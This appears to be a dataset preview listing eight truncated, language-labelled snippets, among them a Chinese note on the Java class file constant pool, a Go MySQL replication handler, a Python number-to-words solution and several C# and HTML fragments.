入了常量数这一变量(或者说标记) 让我们再瞄一眼之前提到的表格: ![](class_structure/20210928150326.png) 这个标记占两个字节 ![](class_structure/20210928151257.png) 我们之前用到的class文件的常量数转换为十进制后就是`33`,也就是说常量池中存储了32个常量(常量池存储从1开始计数,0号位预留了) 在这个标记后紧跟着就是我们的常量池了,从这个名字就可以听出来,常量池中应该可以存储很多常量,这又和我们之前所接触到魔数、主版本号等不一样了,之前都是一个变量就存一个值,现在这个【常量池】变量中存了很多值。 所以,你可以简单的把之前提到的魔数、...
Markdown
ttps://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title></title> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta name="generator" content="Doxygen 1.9.1"/> <link rel="stylesheet" type="text/css" href="search.css"/> <script type="text/...
HTML
BinlogStreamer, error) { log.Printf("Received: BinlogDump: pos=%s", pos.String()) return nil, fmt.Errorf("not supported now") } // HandleBinlogDumpGTID is called for COM_BINLOG_DUMP_GTID func (h EmptyReplicationHandler) HandleBinlogDumpGTID(gtidSet *mysql.MysqlGTIDSet) (*replication.BinlogStreamer, error) { log.Pri...
Go
.1319/td-applet-stream-templates-item-play_icon/td-applet-stream-templates-item-play_icon-min.js&amp;os/mit/td/td-applet-stream-0.0.1319/td-applet-stream-templates-item-inline_video/td-applet-stream-templates-item-inline_video-min.js" async=""></script> <script type="text/javascript"> if (typeof rt_pushMo...
HTML
class Solution: def numberToWords(self, num: int) -> str: if num == 0: return "Zero" digits = [ "Zero", "One", "Two", "Three", "Four", "Five", "Six", "Seven", "Eight", "Nine", "Ten", "Eleven", "Twelve", "Thirteen", "Fourteen", "Fifteen", "Sixteen", "Seven...
Python
using System; using System.Threading.Tasks; using AutoFixture; using FluentAssertions; using KafkaFlow.Batching; using KafkaFlow.Configuration; using KafkaFlow.Consumers; using Microsoft.VisualStudio.TestTools.UnitTesting; using Moq; namespace KafkaFlow.UnitTests.BatchConsume; [TestClass] public class BatchConsumeMid...
C#
e_flat = tf.reshape(neuron_last_value, [-1, 1]) # Shape (B*N, 1)\\n neuron_first_value_flat = tf.reshape(neuron_first_value, [-1, 1]) # Shape (B*N, 1)\\n neuron_medians_flat = tf.reshape(neuron_medians, [-1, 1]) # Shape (B*N, 1)\\n neuron_ranges_flat = tf.reshape(neuron_ranges, [-1, 1]) # Shape (B*...
HTML
system is currently visible. /// </summary> public bool GetVisible() { return OVRPlugin.GetBoundaryVisible(); } /// <summary> /// Requests that the boundary system visibility be set to the specified value. ///
C#